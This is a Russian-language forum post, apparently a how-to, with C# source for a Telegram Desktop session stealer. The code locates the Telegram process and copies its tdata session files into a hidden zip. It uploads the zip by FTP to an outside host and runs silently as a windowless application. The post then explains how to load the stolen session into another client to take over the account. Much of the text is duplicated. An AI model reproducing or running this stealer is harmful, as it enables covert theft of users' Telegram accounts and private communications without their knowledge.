Здравствуйте всем!
Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел.
И по этому решил написать свою первую тему на этом форуме.
Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata:
Добавить ссылку на System.IO.Compression.FileSystem (Проект --> Добавить ссылку)
Делаем тихий запуск (Проект --> Свойства --> Тип выходных данных --> Приложение Windows)
Думаю код написан как самокомментируемый. Ну суть вкратце напишу.
Мы ищем процесс затем берем её директорию для дальнейшего копирования настроек и сессии. Затем мы создаем ZIP архив и отправляем по FTP.
Использовав конструктор без параметров (new StealStart();), то мы просто копируем настройки сессию в ZIP.
new StealStart(host, login, pass, false); - хост, логин, пасс от ФТП и бул который отвечает удалить ли ZIP после закачки на FTP.
После запуска, рядом с exe будет скрытая zip-ка (или на ftp).
Создаем новую дерикторию и копируем туда свой Telegram.exe и дерикторию tdata удалив всё содержимое. С архива перетаскум туда D877F783D5D3EF8C0 и дерикторию D877F783D5D3EF8C.
В итоге должно выйти так:
В tdata:
В D877F783D5D3EF8C:
Дальше запускаем телеграм.ехе, и он сам всё докачает.
Как-то так мы получили сессию от телеги. Всем удачи!
Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел.
И по этому решил написать свою первую тему на этом форуме.
Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata:
- D877F783D5D3EF8C0 (последняя цифра может быть другой)
- D877F783D5D3EF8C\map0 (последняя цифра так же может быть другой)
Код:
using System;
using System.IO;
using System.Diagnostics;
using System.IO.Compression;
using System.Net;
using System.Threading;
namespace TStealer
{
class Program
{
private class StealStart
{
private bool in_folder = false;
public StealStart(string host = "", string login = "", string pass = "", bool del_zip = false)
{
new Thread(() => StealIt(host, login, pass, del_zip)).Start();
}
private void StealIt(string host, string login, string pass, bool del_zip)
{
var prcName = "Telegram";
Process[] processByName = Process.GetProcessesByName(prcName);
if (processByName.Length < 1)
return;
var dir_from = Path.GetDirectoryName(processByName[0].MainModule.FileName) + "\\Tdata";
var this_fileLocation = System.Reflection.Assembly.GetEntryAssembly().Location;
var dir_to = Path.GetDirectoryName(this_fileLocation) +
"\\Tdata_" +
(int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds
;
var zipPath = dir_to + ".zip";
CopyAll(dir_from, dir_to);
ZipDir(dir_to, zipPath);
Directory.Delete(dir_to, true);
if (host == "")
return;
LoadOnFtp(zipPath, host, login, pass);
if(del_zip)
File.Delete(zipPath);
}
private void CopyAll(string fromDir, string toDir)
{
DirectoryInfo di = Directory.CreateDirectory(toDir);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
foreach (string s1 in Directory.GetFiles(fromDir))
CopyFile(s1, toDir);
foreach (string s in Directory.GetDirectories(fromDir))
CopyDir(s, toDir);
}
private void CopyFile(string s1, string toDir)
{
try
{
var fname = Path.GetFileName(s1);
if (in_folder && !(fname[0] == 'm' || fname[1] == 'a' || fname[2] == 'p'))
return;
var s2 = toDir + "\\" + fname;
File.Copy(s1, s2);
}
catch { }
}
private void CopyDir(string s, string toDir)
{
try
{
in_folder = true;
CopyAll(s, toDir + "\\" + Path.GetFileName(s));
in_folder = false;
}
catch { }
}
private void ZipDir(string dir_to, string zipPath)
{
try
{
ZipFile.CreateFromDirectory(dir_to, zipPath);
File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
}
catch { }
}
private void LoadOnFtp(string zipPath, string host, string login, string pass)
{
try
{
using (WebClient client = new WebClient())
{
client.Credentials = new NetworkCredential(login, pass);
client.UploadFile("ftp://" + host + "/" + Path.GetFileName(zipPath), "STOR", zipPath);
}
}
catch { }
}
}
static void Main(string[] args)
{
//var stealT = new StealStart();
var host = "example.host.com";
var login = "example_login";
var pass = "example_pass";
var steal_With_FTP = new StealStart(host, login, pass, false);
}
}
}
Добавить ссылку на System.IO.Compression.FileSystem (Проект --> Добавить ссылку)
Делаем тихий запуск (Проект --> Свойства --> Тип выходных данных --> Приложение Windows)
Думаю код написан как самокомментируемый. Ну суть вкратце напишу.
Мы ищем процесс затем берем её директорию для дальнейшего копирования настроек и сессии. Затем мы создаем ZIP архив и отправляем по FTP.
Использовав конструктор без параметров (new StealStart();), то мы просто копируем настройки сессию в ZIP.
new StealStart(host, login, pass, false); - хост, логин, пасс от ФТП и бул который отвечает удалить ли ZIP после закачки на FTP.
После запуска, рядом с exe будет скрытая zip-ка (или на ftp).
Создаем новую дерикторию и копируем туда свой Telegram.exe и дерикторию tdata удалив всё содержимое. С архива перетаскум туда D877F783D5D3EF8C0 и дерикторию D877F783D5D3EF8C.
В итоге должно выйти так:
В tdata:
В D877F783D5D3EF8C:
Дальше запускаем телеграм.ехе, и он сам всё докачает.
Как-то так мы получили сессию от телеги. Всем удачи!
Вложения
Последнее редактирование: